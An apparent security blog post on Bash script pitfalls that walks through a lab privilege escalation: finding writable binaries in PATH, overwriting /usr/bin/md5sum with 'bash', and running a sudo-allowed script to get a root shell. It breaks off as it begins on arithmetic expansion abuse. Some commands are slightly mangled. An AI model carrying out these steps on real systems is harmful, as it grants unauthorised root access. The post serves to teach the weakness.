2 interesting vulnerabilities related to bash scripts and other related technologies. Discusses using binaries without specifying full path and Arithmetic Expansion Abuse
Today, I would like to blog about two interesting pitfalls when using Bash Scripts, which can lead to initial access or privilege escalation!
The first pitfall is using binaries without specifying full path
This occurs if any of the binaries in use by script is writeable by users.
To be honest, it is Linux Path Abuse privilege escalation technique but from a different perspective.
The second pitfall I would like to discuss is Arithmetic Expansion Abuse. It occurs due to how bash does calculations.
Bash scripts can be used for privilege escalation and initial access if
It is being run as shell script.
Sudo allows us to run certain shell scripts.
A CGI script is being run on a web server.
Writeable Binaries in PATH
Detection
A good way to detect is to check each binary directory for writeable binaries. There should not be any by default, unless you’re root
1
for i in $(echo$PATH| tr ':''\n');do find $i -type f -writable;done
Actually, it is not 100% fool-proof because sudo may use a different path. So double check with sudo -l
1
2
3
4
5
6
$ sudo -l
Matching Defaults entries for demo on 700109a60338:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User demo may run the following commands on 700109a60338:
(ALL : ALL) /tmp/md5files.sh
Privilege Escalation
Say we have a script like this
1
2
3
#!/bin/bash
md5sum /etc/hosts
When run, this script will just calculate the MD5 hash of /etc/hosts
Our user can run this script as sudo
1
2
3
4
5
6
7
$ sudo -l
[sudo] password for demo:
Matching Defaults entries for demo on 700109a60338:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User demo may run the following commands on 700109a60338:
(ALL : ALL) /tmp/md5files.sh
Let’s check if md5sum in /usr/bin is writeable
1
2
$ find /usr/bin -type f -writable
/usr/bin/md5sum
We can easily overwrite it like this
1
echo "bash" > /usr/bin/md5sum
To escalate privileges,
1
2
$ sudo /tmp/md5files.sh
root@700109a60338:/tmp#
We are root!
Arithmetic Expansion
Arithmetic expansion occurs when
We compare a variable with a number in [[]]
We declare a variable as number, then assign another variable to this variable
Apparently, the vulnerability occurs due to how bash interprets arrays. It will try to expand any command in the square bracket.
Compare a variable with a number in [[]]
These codes are used to compare input against a number.